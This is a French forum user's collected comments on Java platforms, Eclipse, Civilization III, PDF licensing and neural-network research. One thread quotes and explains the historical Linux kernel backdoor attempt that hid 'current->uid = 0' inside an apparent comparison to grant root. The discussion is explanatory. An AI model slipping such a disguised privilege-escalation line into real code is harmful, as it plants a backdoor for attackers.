boubou a écrit 1384 commentaires

Tu devrais écrire à la rédaction, en indiquant ce qui ne te plait pas. Je suis auteur de quelques articles et j'avoue que le retour des lecteurs est assez faible. Les mails que j'ai reçu étaient très intéressants, mais très peu nombreux.

Une revue appartient beaucoup aux lecteurs et c'est aussi à eux de la faire évoluler dans leur sens...

Par contre les articles sur l'IA sont bien (peut-être un peu abstrait)

Merci. Pour l'abstrait, je suppose que tu fais référence au dernier (celui de ce mois-ci) sur les algos génétiques ? Dans ce cas, je suis d'accord, j'ai essayé de faire disons une introduction illustrée, sans trop entrer dans les détails. Mais je compte bien en reparler dans d'autres articles...

D'ailleurs si tu as d'autres remarques, suggestions, etc.

On peut ajouter à ta liste que faire un J2EE, c'est faire du 100 % pur Java, alors que pour faire un J2SE (le JDK), il faut faire une JVM (il en existe de nombreuses open source) et faire une partie assez moche qui est à la fois en Java et en C (ou n'importe quel autre langage dans lequel ta JVM est écrite). Par exemple, pour faire AWT, il faut une partie Java, mais aussi une interface entre ce Java et GTK (par exemple). Le problème de cette partie C est qu'elle dépend du système et des bibliothèques sur lesquelles on décide de s'appuyer et que c'est assez lourdingue. C'est pourquoi le projet classpath (http://www.gnu.org/software/classpath/(...)) est très avancé sur certaines parties (celles en 100% java) et plutôt lent à évoluer sur d'autres (AWT)....

Oui, sauf que les scripts sont ceux de bitkeeper:

"First of all, thanks Larry for detecting this. Your paranoia that made
you add extra checks on the export of data (also evident in the BK
checksums everywhere) probably saved Linux as a whole a lot of grief."

Mais bon, il faut savoir lire.

open source = pas sûr, c'est prouvé (je schématise)

Non tu déformes. Ce que certains ont dit, c'est que le fait que le noyau soit open source n'a probablement rien à voir avec la découverte rapide de la tentative.

Bref, le code n'a pas passé le peer-reviewing

Quelle grossière simplification ! Tu connais la différence entre le jeu des erreurs et le jeu des 7 erreurs ? Tu sais pourquoi le deuxième est plus facile ? Encore heureux que des rois du noyau linux aient compris rapidement le but de cette insertion de lignes. Je ne suis pas sûr qu'au milieu d'un patch compliqué, quelqu'un détecte facilement une différence entre un = et un ==. Par sûr que cela puisse être facilement utilisé pour insérer une backdoor viable, ceci dit car un test sur l'uid est quand même quelque chose d'important et si ça arrive n'importe où, ça sera tout de suite louche. Par contre une petite modification d'un test permettant ensuite de déclencher un buffer overflow...

Oui, enfin, se faire passer pour David Miller c'est plutôt louche. De plus, le current->uid = 0 est entouré de parenthèses pour éviter un warning de gcc et la version anodine (current->uid == 0) n'aurait rien à faire dans cette partie du code. Donc c'est une tentative de backdoor, point final.

Euh, ça doit dépendre du niveau, parce que moi j'ai eu du fer et du salpètre dans mes frontières, et plusieurs fois, mais je n'ai jamais joué à un niveau élevé, je suis trop nul.

En fait, j'ai bien peur qu'on soit obligé de constater que c'est le soft propriétaire bitkeeper qui a permis une détection rapide du problème. Pour ceux qui n'ont pas lu les liens, je précise que l'astuce est la suivante :

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

Ce qui rend le truc difficile à trouver est que tout est dans (current->uid = 0) qu'on a tendance à lire (current->uid == 0), beaucoup plus anodin...

Moralité, je suis d'accord avec pBpG, l'aspect open source n'a pas grand chose à voir dans le problème présent.

Mon expérience personnelle sur un PIII 800 avec 256mo de ram est que l'éditeur ne rame pas et que tout le reste (en gros tout ce qui est disponible dans Visual C++ et beaucoup d'autres choses encore) comble largement la perte de temps au démarrage et certaines lenteurs/lourdeurs. Il est clair qu'avoir la complétion automatique des noms de méthodes (avec choix dans un menu pop-up), la compilation au vol en permanence, le refactoring, l'affichage du javadoc quand la souris passe au dessus du nom d'une classe, etc. (tout ça, c'est sans plugin) fait gagner un temps incroyable. Donc pour un développeur Java, cela justifie largement l'investissement par son patron dans une machine moderne (je rappelle que pour moins de 800 € HT on a une machine qui fait très très bien tourner Eclipse et c'est amorti en quelques semaines tellement on gagne de temps).

Ceci étant, si on avait un environnement de dev léger avec les mêmes fonctionnalités, je sauterai dessus... Et je maintiens que la comparaison avec un éditeur est totallement absurde.

Il y a un binding emacs pour les raccourcis clavier, mais mon expérience personnelle est que ce n'est pas super, a tel point que je préfère utiliser les raccourcis standards alors qu'excepté pour faire du Java, j'utilise tout le temps emacs...

Je ne connais pas bien Jedit (je ne l'ai jamais utilisé professionnellement), mais d'après mes collègues, c'est très loin de faire ce que fait eclipse...

éditeur de texte

Ok, c'est un troll, mais il y a des limites. Tu sais ce que fait Eclipse ou tu postes juste pour le plaisir de troller ?

Non, tu ne peux pas. J'exagère un peu, bien sûr, mais comme c'est écrit en Java, ça a de gros besoins en mémoire et 128 mo, c'est vraiment juste. Sur mon PIII 800 avec 256mo, ça marche pas mal, mais j'ai quand même parfois quelques lenteurs. Le démarrage est toujours très long, même avec beaucoup de mémoire, mais ce n'est pas le point crucial.

En fait, mon problème n'est pas tant que ça rame pendant mon tour de jeu (je joue aussi sur un portable PIII 800), mais l'énorme attente entre la fin d'un tour et mon prochain tour, quand l'ordinateur joue avec toutes les autres civs. L'IA donne un peu de fil à retordre, mais elle est ultra lente...

il tourne très bien avec WineX

Tu veux dire qu'il rame autant que sous windows ? Par ce que civ 3, c'est super, mais qu'est-ce que c'est lent !

Aucun intérêt, je suis bien d'accord avec ce que tu sous-entends. D'autant que freeciv a toujours besoin de bonnes volontés, en particulier pour refaire l'IA, par exemple.

Il y a encore mieux, le Journal of Machine Learning Research (http://www.ai.mit.edu/projects/jmlr/(...)). C'est tout pareil JAIR, sauf que c'est le MEILLEUR impact factor de l'IA ! Et surtout il faut voir la très haute tenue des articles, c'est en général excellent. Mais bon, JAIR, c'est super aussi.

Enfin, PDF est justement qualifie de format proprietaire, perenne et tres utilise.

PDF est propriétaire au sens où il est couvert aux USA par des brevets. Cependant, Adobe donne automatiquement une licence d'implémentation du format (en écriture et en lecture) à toute personne qui respecte le format, téléchargeable sur leur site (http://partners.adobe.com/asn/tech/pdf/specifications.jsp(...)). La licence est indiquée à l'URL suivant : http://partners.adobe.com/asn/developer/legalnotices.jsp(...) et des détails sont donnés dans la spec (dans l'introduction).

Donc, je ne suis pas sûr que le format soit propriétaire au sens classique du terme (i.e., word, format non documenté et pour lequel MS n'a jamais donné les droits qu'Adobe donne). Je dirais qu'il est partiellement ouvert (ou partiellement propriétaire).

Le perceptron est le plus vieux modèle de réseaux de neurones artificiels. La version dite multi-couches est le modèle le plus utilisé actuellement (avec les support vector machines qui sont très à la mode). Si tu veux des détails, tu peux lire la FAQ réseaux de neurones (ftp://ftp.sas.com/pub/neural/FAQ.html(...)) ou encore mes cours (http://apiacoa.org/teaching/nn/(...)).

ils ne font rien d'autre qu'un perceptron géant.

Non, si j'ai bien lu c'est des spiking neurons, donc ça n'a pas grand chose à voir avec un perceptron.

D'un autre côté, même le pire des modèles mathématiques, mal posé et mal codé, peut résoudre la plus part des problèmes solvables par un perceptron, surtout avec une puisssnace de calcul pareil.

Arf ? Je ne comprends pas. Des résultats théoriques montrent que sur certains problèmes, les perceptrons multi-couches sont ce qu'il y a de mieux actuellement...

un oiseau tu lui donne trois graines et il va voler pendant des kilometres, alors qu'il faut des tonnes de kérosène pour un avion.

Oui, enfin, il ne faut pas oublier qu'un oiseau a un très mauvais rendement. Ca bouffe tout le temps, ces bestioles.

sinon ca ferait longtemps qu'on aurait des filtres anti-spams 100% efficaces

Même un humain ne fait pas 100% sur du spam. Ceci étant, tu choisis très mal ton exemple, parce c'est justement dans ce domaine que le filtrage bayésien naïf ultra basique fonctionne très bien. Il n'est pas rare du tout d'atteindre 99% de taux de reconnaissance avec un taux de fausse alarme inférieur à 1%.

derrière un programme informatique, personne ne doute qu'il y ait un programmeur (de génie), alors pour le vivant (infiniment plus complexe et mieux réalisé que tout ce que l'homme sera jamais capable de créer) je suis sur que c'est exactement pareil.

Ou la, la, on dérape.

en ce qui concerne l'IA, de nombreux projets de robots humanoïdes (dont certains dans de grands labos) estiment que pour qu'un ordinateur puisse comprendre l'être humain, il faut que son "corps" (interface avec le monde) soit proche du corps de l'humain, pour avoir la même perception du monde.

Mouai. Je pense surtout que pour faire financer la recherche sur les gros robots, rien ne vaut l'aspect humanoïde parce qu'on se dit qu'on pourra ainsi vendre un robot compagnon...

Ceci étant, il est vrai que l'imitation de la nature conduit parfois à des choses très intéressantes comme les perceptrons multi-couches qui sont issus d'une tentative (complètement foireuse) de modélisation du cerveau. Les algorithmes génétiques sont un autre exemple. Mais à mon avis, le mécanisme est toujours le même : on idéalise un modèle naturel pour bien le comprendre mathématiquement et ensuite on l'améliore afin d'atteindre le but fixé, même si cela nous éloigne de la nature...

Si les réseaux de neurones sont ton thème de recherche depuis plus de dix ans, tu dois pouvoir nous donner une petite idées des possibilités d'applications d'un tel projet, d'un tel réseau..(?)

Et bien non, justement. J'ai lu le site, les transparents, etc. et c'est de la pure huile de serpent (snake oil, le terme utilisé en crypto (entres autres) pour désigner les pseudo algorithmes de codage). Le seul élément technique est qu'ils utilisent des spiking neurons, un outil qui à mon avis ne marche pas. Quelques chercheurs travaillent toujours là dessus, c'est le modèle le plus proche de la réalité (comparativement au perceptron par exemple), mais les capacités pratiques sont en général assez mauvaises.

Ker2x nous donne des informations sur le réseau du cortex humain et semble se poser des question sur l'algorithme... Est-ce l'un des problèmes actuels dans le domaine ?

Bof. On sait simuler des neurones, en tout cas des trucs qui reproduisent ce qu'on observe, mais pas de façon massive et surtout, on ne sait pas ce que ça pourrait donner.

Il me semble que nous avons là (le projet en question) un beau réseau quand même...

Ouai, je suppose que ça flatte l'égo du patron (ah, le jeu de la plus grosse)...

C'est très difficile l'initation aux réseaux de neurones, parce que sans un bon niveau en maths, on risque d'avoir une vision très naïve d'un outil vraiment complexe. Tu peux donc essayer mes supports de cours (http://apiacoa.org/teaching/nn/(...)), mais ils sont vraiment destinés à des personnes avec un bon bagage mathématique.

Ben non, elle vend pas du vent elle fait de la recherche. Oui, ba ça, on n'en sait rien. Parce que le fondateur de la boite, Marcos Guillen, est un total inconnu au bataillon en recherche (aucun papier sur citeseer, ce qui est plus que louche).

Pour le moment les reseaux de neurones sont la modelisation la plus fidele qu'on aie du cerveau

Ca dépend des réseaux de neurones. Les réseaux de neurones artificiels (type perceptron multicouches), ça n'a presque aucun rapport avec le cerveau humain. Quant aux personnes qui travaillent sérieusement sur la modélisation du cerveau, elles ont la décence de ne pas prétendre que leurs programmes vont remplacer les systèmes experts ou d'autres conneries du même niveau...